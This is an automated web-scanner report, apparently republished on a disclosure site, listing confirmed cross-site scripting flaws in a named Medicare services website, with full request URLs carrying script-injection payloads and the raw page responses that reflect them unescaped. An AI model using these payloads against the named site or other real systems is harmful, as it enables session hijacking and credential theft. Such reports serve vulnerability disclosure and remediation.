XSS, Cross Site Scripting in medicare-solutions.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

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Netsparker - Scan Report Summary
TARGET URL
 https://www.medicare-solution.com/mss/home/In...
SCAN DATE
 5/2/2011 3:22:10 PM
REPORT DATE
 5/2/2011 3:37:07 PM
SCAN DURATION
 00:13:43

Total Requests

Average Speed

req/sec.
34
identified
32
confirmed
0
critical
1
informational

DORK TESTS

DORK TESTS
PROFILE
 Previous Settings
ENABLED ENGINES
 Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
85 %
LOW
12 %
INFORMATION
3 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/mss/home/contact_us.jsp E-mail Address Disclosure No
/mss/home/FreeTrialAgreement.html MS Office Information Disclosure No
/mss/home/Index.jsp Cookie Not Marked As Secure Yes
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
/mss/home/LoginPage.jsp sMsg GET Cross-site Scripting Yes
User_id POST Cross-site Scripting Yes
UId GET Cross-site Scripting Yes
/mss/home/RegisterJsp.jsp sMsg GET Cross-site Scripting Yes
demouserid GET Cross-site Scripting Yes
address1 POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
companyname POST Cross-site Scripting Yes
firstname POST Cross-site Scripting Yes
lastname POST Cross-site Scripting Yes
telephone POST Cross-site Scripting Yes
sMsg GET Cross-site Scripting Yes
email POST Cross-site Scripting Yes
firstname GET Cross-site Scripting Yes
lastname GET Cross-site Scripting Yes
companyname GET Cross-site Scripting Yes
state POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
telephone GET Cross-site Scripting Yes
email GET Cross-site Scripting Yes
address1 GET Cross-site Scripting Yes
address2 GET Cross-site Scripting Yes
city GET Cross-site Scripting Yes
state GET Cross-site Scripting Yes
zip GET Cross-site Scripting Yes
demouserid GET Cross-site Scripting Yes
/mss/jsp/Recon/jsp/errorPage.jsp Msg GET Cross-site Scripting Yes
/servlet/DemoLoginServlet Internal Server Error Yes
Cross-site Scripting

Cross-site Scripting
28 TOTAL
IMPORTANT
CONFIRMED
28
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3..

Parameters

Parameter Type Value
sMsg GET '"--></style></script><script>alert(0x000359)</script>
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000359)%3C/script%3E&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/DemoLoginServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000-Kbs2vH02S-6GWSjbUkKmbu:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:35 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">'"--></style></script><script>netsparker(0x000359)</script></span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" >No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="demouserid" size="10" maxlength="10" va..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=Invalid+User+Id+/+Password&demouseri..

Parameters

Parameter Type Value
sMsg GET Invalid User Id / Password
demouserid GET '"--></style></script><script>alert(0x00038F)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=Invalid+User+Id+/+Password&demouserid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00038F)%3C/script%3E HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/DemoLoginServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000SHnb9pB95EKtGFqUdhgfqVT:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:37 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000JSjrBbus99cYjD4A1xA6Muw:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">Invalid User Id / Password</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="'"--></style></script><script>netsparker(0x00038F)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" >No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" height=25><input type=..
- /mss/home/LoginPage.jsp

/mss/home/LoginPage.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/LoginPage.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
sMsg GET '"--></style></script><script>alert(0x000388)</script>
UId GET 3

Request

GET /mss/home/LoginPage.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000388)%3C/script%3E&UId=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/LoginServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=00001csp3oYVp-ZM_Cd7sw7E0Q8:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:37 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=000047e6APVc4flK9_xFXxHze3s:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}
function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}
function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>

<link href="frontend.css" rel="stylesheet" type="text/css" />
</head>
<body onload="doOnload()" >
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td width="274" height="406" align="center" background="images/home_demo.jpg">
<table width="227" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="350">&nbsp;</td>
</tr>
<tr>
<td align="center" valign="top">&nbsp;</td>
</tr>
</table>
</td>
<td width="675" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
<!-- Start Login Box -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td bgcolor="#0f2c6f" style="border:thin #CCCCCC solid"><img src="images/heading_cl.gif" width="297" height="32" /></td>
</tr>
<tr>
<td height="100" background="images/bg_login.jpg" bgcolor="#003399">
<form name="frmLogin" method="post" action="/servlet/LoginServlet" onsubmit="return doVerify();" />
<table border="0" cellspacing="4" cellpadding="0">
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="right" class="logintx">USER ID: </td>
<td><input type="text" name="User_id" value="3" size="15" maxlength="10" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr><td align="center" colspan="2">&nbsp;</td></tr>
<tr>
<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
<td align="center"><input type="submit" value="Login" name="btnLogin" size="15" style="font-size: 8pt; font-weight:normal" />
</td>
</tr>
</table>
<input type="hidden" name="screen">
<input type="hidden" name="userAgent">
<input type="hidden" name="WebMaster" value="">
</form>
</td>
</tr>
<tr><td height=90>&nbsp;</td></tr>
